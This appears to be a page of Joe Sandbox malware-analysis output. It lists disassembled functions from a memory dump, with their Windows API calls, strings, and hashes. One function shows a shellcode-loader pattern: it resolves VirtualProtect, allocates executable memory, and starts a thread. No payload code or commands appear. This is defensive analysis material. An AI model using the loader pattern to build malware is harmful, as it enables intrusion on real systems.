Instruction ID: b5451e71f7702291b1172a6c7d96f1d144bde60052cc35317a0d7a6ee67fb83b
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: 06B1E57664028AAFDB60CF68CC80BDA77A5FF88714F158524EA0CAB341D774FA41CB94

Function 006E22BA Relevance: 9.1, APIs: 6, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 006E2303
GetCurrentThreadId.KERNEL32 ref: 006E2313
std::_Throw_Cpp_error.LIBCPMT ref: 006E241E

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: ConsoleCpp_errorCurrentFreeThreadThrow_std::_
String ID:
API String ID: 1679527187-0
Opcode ID: ed77de1eb44fe322a5fe8b2e74c1133f56c3a282f1a3db86a999c0fb96a72b49
Instruction ID: 0dd0707f57b667796694686b803073a6200886b3db127f6bdf9b9719bd99e688
Opcode Fuzzy Hash: ed77de1eb44fe322a5fe8b2e74c1133f56c3a282f1a3db86a999c0fb96a72b49
Instruction Fuzzy Hash: 7A41B0B1509382AFD300DF26DC91A5FB7EFEB88300F00492EF19496181EB74C9488B97

Function 006F2E07 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47a218d386442900e253073fa0c05f2342f381bffaba30786822a93b33d438cc
Instruction ID: 5dc71746e08e257a5260dd158b447e4ec1272d7c708de5972d566ee3c8b01dbc
Opcode Fuzzy Hash: 47a218d386442900e253073fa0c05f2342f381bffaba30786822a93b33d438cc
Instruction Fuzzy Hash: D7F06532611328DBCB16C78CC456BA973ADFB45B51F214056F601D7251C2B4DD00CBC4

Function 006E21EF Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 70
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,VirtualProtect,?,0000000006:1@0000000005:@), ref: 006E223C
GetProcAddress.KERNEL32(00000000), ref: 006E2243
VirtualAlloc.KERNELBASE(00000000,000004AC,00001000,00000040), ref: 006E2259
FreeConsole.KERNEL32 ref: 006E2261

Part of subcall function 006E1D3C: _Deallocate.LIBCONCRT ref: 006E1DD3

CreateThread.KERNELBASE(00000000,00000000,00000188,0070AAC0,00000000,00000000), ref: 006E2290
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 006E2299

Part of subcall function 006E2520: _Deallocate.LIBCONCRT ref: 006E252F

Strings

kernel32.dll, xrefs: 006E2237
0000000006:1@0000000005:@, xrefs: 006E2206
VirtualProtect, xrefs: 006E2232

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Deallocate$AddressAllocConsoleCreateFreeHandleModuleObjectProcSingleThreadVirtualWait
String ID: 0000000006:1@0000000005:@$VirtualProtect$kernel32.dll
API String ID: 2719435794-2246029265
Opcode ID: bc34a675985294e897b1a14b54d4790ff329292851a3ca08830b56c448a0b463
Instruction ID: 8cbf63f863f99ed944810893150b2c3c47eb686792cc51feea2516f0c577c7a2
Opcode Fuzzy Hash: bc34a675985294e897b1a14b54d4790ff329292851a3ca08830b56c448a0b463
Instruction Fuzzy Hash: A911C4B2609344FAE254BB71EC4BF6B37ADDB84730F10871DF105861D2ED78A94486A9

Function 006F5805 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 298
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 006F5A7E

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 16e253cf7d0717d77c1c177372a4ea17c802cb6c2df06780785734fa756709ef
Instruction ID: 6f256a92303e733b3c34a394e202499a6f2722d417eb0a1859db650273bf4490
Opcode Fuzzy Hash: 16e253cf7d0717d77c1c177372a4ea17c802cb6c2df06780785734fa756709ef
Instruction Fuzzy Hash: 52B1E270A04A4DAFDB11DF99C891BBE7BB3AF45320F148158E7129B392C7709D42CB65

Function 006F27AA Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,A418D8C2,?,006F28B7,?,?,?,00000000), ref: 006F286B

Strings

ext-ms-, xrefs: 006F2815
api-ms-, xrefs: 006F2801

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 1e00d2a8648546267496d1ae15215397481ac3e6c110aead2176d8eb131da900
Instruction ID: 7dfb0d62a690308559be037b2104d37102783b1a9232fd64e0a3507498ee1244
Opcode Fuzzy Hash: 1e00d2a8648546267496d1ae15215397481ac3e6c110aead2176d8eb131da900
Instruction Fuzzy Hash: 0B210832A0021AE7D7319B25DC65FAA375ABB413F0F104224EE16A73D0DA34ED05CEE4

Function 006E6A98 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,006E2333,?,?,00000000), ref: 006E6AA4
GetExitCodeThread.KERNEL32(?,00000000,?,?,?,006E2333,?,?,00000000), ref: 006E6ABD
FindCloseChangeNotification.KERNELBASE(?,?,?,?,006E2333,?,?,00000000), ref: 006E6ACF

Strings

3#n, xrefs: 006E6AAF

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: ChangeCloseCodeExitFindNotificationObjectSingleThreadWait
String ID: 3#n
API String ID: 3816883391-3452942821
Opcode ID: 60671adca30b5b618e97532934937f38947569e514ae74001fbdc5f0c12e2d8f
Instruction ID: f3d639237c5d8da9f53ea6c68d38e398d58c67a55489f1a9910917cba4668eef
Opcode Fuzzy Hash: 60671adca30b5b618e97532934937f38947569e514ae74001fbdc5f0c12e2d8f
Instruction Fuzzy Hash: 95F08271941215EBDB108F29DC09B9A3B69EB117B0F288320F926E62E0DB74DD81D784

Function 006EB763 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00708A98,0000000C), ref: 006EB776
ExitThread.KERNEL32 ref: 006EB77D

Strings

mEn, xrefs: 006EB7B3

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: ErrorExitLastThread
String ID: mEn
API String ID: 1611280651-2555016830
Opcode ID: d32fb7c3e8bbeb5d2f93278f65f0026b86d0ec3a5934db0a58e7ec012db43c74
Instruction ID: 5a3e38ff9fbfb56440278870549fcb0559d18048c5350ccec061bbecaa762e5d
Opcode Fuzzy Hash: d32fb7c3e8bbeb5d2f93278f65f0026b86d0ec3a5934db0a58e7ec012db43c74
Instruction Fuzzy Hash: BFF08C71900309DFDB41ABB1C84AB6E3B66EF50710F20425EF10297292CF3899018BA9

Function 006EB8BF Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(?,?,Function_0000B763,00000000,00000000,?), ref: 006EB908
GetLastError.KERNEL32(?,?,?,?,006E22F4,00000000,00000000,006E38DA,00000000,00000000), ref: 006EB914
__dosmaperr.LIBCMT ref: 006EB91B

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: 7e8311fcfacb709ee3eecad6e5f1acb57d2bcea3fcc4e22745468c6075e2f1e5
Instruction ID: 78798a0551726f96ab09f297f8f9294c6c8cc70b7bc13a196e9fe82dbd51f43f
Opcode Fuzzy Hash: 7e8311fcfacb709ee3eecad6e5f1acb57d2bcea3fcc4e22745468c6075e2f1e5
Instruction Fuzzy Hash: CF01B172912349AFDF15AFA2DC06BEF3BAAEF40360F004128F90192251DB70CE10DB94

Function 006EB818 Relevance: 4.5, APIs: 3, Instructions: 30
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006F243A: GetLastError.KERNEL32(00000000,?,006EC905,006F1F64,?,?,006F2336,00000001,00000364,?,00000006,000000FF,?,006EB788,00708A98,0000000C), ref: 006F243E
Part of subcall function 006F243A: SetLastError.KERNEL32(00000000), ref: 006F24E0

CloseHandle.KERNEL32(?,?,?,006EB94F,?,?,006EB7C1,00000000), ref: 006EB849
FreeLibraryAndExitThread.KERNELBASE(?,?,?,?,006EB94F,?,?,006EB7C1,00000000), ref: 006EB85F
ExitThread.KERNEL32 ref: 006EB868

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: ErrorExitLastThread$CloseFreeHandleLibrary
String ID:
API String ID: 1991824761-0
Opcode ID: fa031088fee6198586c4a58bbc6f1b8bc59dbc218b04d91d2d5e163eadc2dc2b
Instruction ID: 251b07a2bad15975b66a477fec83c399465b986d8e1369c868e8b4edd1dfcd50
Opcode Fuzzy Hash: fa031088fee6198586c4a58bbc6f1b8bc59dbc218b04d91d2d5e163eadc2dc2b
Instruction Fuzzy Hash: 45F05E30411788ABCB211B67C808BDB3A9E6F00320F089715F968D63B4DB34DC418AA4

Function 006EFFCC Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000002,?,006EFFC6,006ECA0D,006ECA0D,?,00000002,A418D8C2,006ECA0D,00000002), ref: 006EFFDD
TerminateProcess.KERNEL32(00000000,?,006EFFC6,006ECA0D,006ECA0D,?,00000002,A418D8C2,006ECA0D,00000002), ref: 006EFFE4
ExitProcess.KERNEL32 ref: 006EFFF6

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 585bc280639b0ad112cdf4bb7e606aae2f552e67be1a7143286fb14429025030
Instruction ID: 7666b177e196dce1d367bc6209122bf6f7b91a23d5bfa1545c46538be1f2e729
Opcode Fuzzy Hash: 585bc280639b0ad112cdf4bb7e606aae2f552e67be1a7143286fb14429025030
Instruction Fuzzy Hash: FED06731000148EBEF512F61DC09F593F2ABF41361F04C114BA095A122DF3999529A98

Function 006F425A Relevance: 3.2, APIs: 2, Instructions: 191
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006F39A4: GetConsoleOutputCP.KERNEL32(A418D8C2,00000000,00000000,006ECCE4), ref: 006F3A07

WriteFile.KERNEL32(FFB05FE8,00000000,?,006ECC04,00000000,00000000,00000000,00000000,006EC9DA,?,006ECC04,006EC9DA,00000024,00708AD8,00000010,006ECCE4), ref: 006F43C3
GetLastError.KERNEL32(?,006ECC04,006EC9DA,00000024,00708AD8,00000010,006ECCE4,006EC9DA,?,00000000,00000004), ref: 006F43CD

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 7cf72de5654b28dbbb6e771c09409367836263a3050973542f388a1ba92ff7fb
Instruction ID: 981f13c336a812a7f16b5a7e4e8b26abc9e8432b3c5bd3a6bfce0b03718d8090
Opcode Fuzzy Hash: 7cf72de5654b28dbbb6e771c09409367836263a3050973542f388a1ba92ff7fb
Instruction Fuzzy Hash: AF61A472D0414DAEDF118FA8C844BFFBBBAAF09314F044059EA10B7642DB35DA02CB64

Function 006F3E5C Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,006ECCE4,?,006F43A9,?,00000000,00000000,?,00000000,00000000), ref: 006F3EF8
GetLastError.KERNEL32(?,006F43A9,?,00000000,00000000,?,00000000,00000000,00000000,006EC9DA,?,006ECC04,006EC9DA,00000024,00708AD8,00000010), ref: 006F3F1E

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 5699017fded25db4007d8783dbd19bcd72af557a231cbb63078770cd18f264d5
Instruction ID: 629b1f6f04210fa0a261611bb82a27be71c7c37d72a7635372e6a2e0272f7d5f
Opcode Fuzzy Hash: 5699017fded25db4007d8783dbd19bcd72af557a231cbb63078770cd18f264d5
Instruction Fuzzy Hash: BE219130A0026DDBCB15CF19DD80AEDB7BAEF48315F1441AAEA06D7311E630DE46CB64

Function 006F3513 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 006F355F
GetFileType.KERNELBASE(00000000), ref: 006F3571

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: be0c211a41970c390816f78097a615a94a2abbd7e944c486febb17c949821e33
Instruction ID: b88dbe8da5b7ce2b9d0c953d052660cdfc915c5e0664f464570a7de8e8246186
Opcode Fuzzy Hash: be0c211a41970c390816f78097a615a94a2abbd7e944c486febb17c949821e33
Instruction Fuzzy Hash: 0611E67110876986C7344E3E8C88676BA96A7D6374B380B1ED3B6873F1C734DB86D640

Function 006F22E9 Relevance: 2.6, APIs: 2, Instructions: 71
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,006EB788,00708A98,0000000C), ref: 006F22ED
SetLastError.KERNEL32(00000000), ref: 006F238F

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: ad478ca7c1c67d9743e0fea632da5e53521dac430fc9d7681b01d8588e3bb1cb
Instruction ID: 8caf1d2c9bcc29af486b58cde051951d94c84217f8fe91eed1b2d5028a983a8a
Opcode Fuzzy Hash: ad478ca7c1c67d9743e0fea632da5e53521dac430fc9d7681b01d8588e3bb1cb
Instruction Fuzzy Hash: E21106B320931FFAD7516BB45CE6F7A235FAB057A8F100228F710951A2EE184C0589A9

Function 006E292C Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 006E2933

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: H_prolog3_catch
String ID:
API String ID: 3886170330-0
Opcode ID: 6df883c9864256a2329e09c98b26b7fdd452908505a6763f8d95f13fbb227e23
Instruction ID: 6ff10009c46f210bcc6d44f2f8cc17d703171cadedcdd8916ef819fcefeb09bb
Opcode Fuzzy Hash: 6df883c9864256a2329e09c98b26b7fdd452908505a6763f8d95f13fbb227e23
Instruction Fuzzy Hash: 3A414C74A01245CFD724DF6AD4A4DA9B7F7FF54310B19825DE4099B3A2CB399C42CB04

Function 006E33A0 Relevance: 1.6, APIs: 1, Instructions: 111COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 006E33A7

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: H_prolog3_catch
String ID:
API String ID: 3886170330-0
Opcode ID: 357b93a5f8b46829888044c1f4bd6e73bf45087ad5d59064c51d463c2ce30af6
Instruction ID: cedf3701f8e39ad8c792f757943f332b4f0ed5f2325f588e154c969bd61ff707
Opcode Fuzzy Hash: 357b93a5f8b46829888044c1f4bd6e73bf45087ad5d59064c51d463c2ce30af6
Instruction Fuzzy Hash: CB412631A017A4DFD721CF66D88AEA8B7F2BF48360F244259D1299B3D1C7759D02CB44

Function 006E1D3C Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

_Deallocate.LIBCONCRT ref: 006E1DD3

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Deallocate
String ID:
API String ID: 1075933841-0
Opcode ID: 84e0f362ba8def6aeb3ca8acd2d966855f91abe003eab680a69c40ea49362af5
Instruction ID: 3792f3d064818878b51f5551a4dac729410afbee6178ea9757a91bdd33a024c3
Opcode Fuzzy Hash: 84e0f362ba8def6aeb3ca8acd2d966855f91abe003eab680a69c40ea49362af5
Instruction Fuzzy Hash: 02115B73D013546BDF09DE7A8CA04EFBBB6EF95310B18C6A9D895EB342C2341A029750

Function 006F2875 Relevance: 1.6, APIs: 1, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c879e76245c98e6e58db9b68a082edcc21be4ec32c7a78255e82b3b4063c5827
Instruction ID: 7f812bb182b431313ead8eed166a605480c706030f0a2303d70c672bbe7bfc3c
Opcode Fuzzy Hash: c879e76245c98e6e58db9b68a082edcc21be4ec32c7a78255e82b3b4063c5827
Instruction Fuzzy Hash: 5501F93370031AEBDB158E69EC50A6B3397BBC43A07248125FB11DB194EE38C8059F91

Function 006F1F12 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

